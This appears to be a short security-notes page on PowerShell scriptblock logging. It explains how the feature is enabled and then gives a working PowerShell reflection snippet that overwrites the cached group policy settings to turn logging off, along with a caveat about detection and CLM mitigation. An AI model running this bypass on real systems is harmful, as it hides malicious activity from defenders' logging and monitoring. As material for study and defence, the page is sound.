Scriptblock Logging

We already talked about scriptblock logging here.

It's a feature introduced with PowerShellV5 that can be enabled via GPO (Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging) or registry key (HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging - EnableScriptBlockLogging).

If we look at the implementation we'll see that the logging settings are cached in a cachedGroupPolicySettings object (probably for performance reasons) and one of the bypass techniques for scriptblock logging takes advantage of this caching part specifically: by overwriting the cached settings stored in

  • cachedGroupPolicySettings

  • scriptBlock.HasLogged

  • scriptBlock.ScriptBlockData.IsProductCode to indicate that logging is not enabled we're able to bypass it completely

$PSEventLog = Get-WinEvent -ListLog Microsoft-Windows-PowerShell/Operational

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)

$BypassValues = New-Object 'System.Collections.Generic.Dictionary[string,System.Object]'
$BypassValues.Add('EnableScriptBlockLogging', '0')
$BypassValues.Add('EnableScriptBlockInvocationLogging', '0')

$GroupPolicySettings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $BypassValues

Of course the bypass code will be logged (at minimum) since most PowerShell-specific bypasses require reflection which is mitigated by CLM enforcement.

Last updated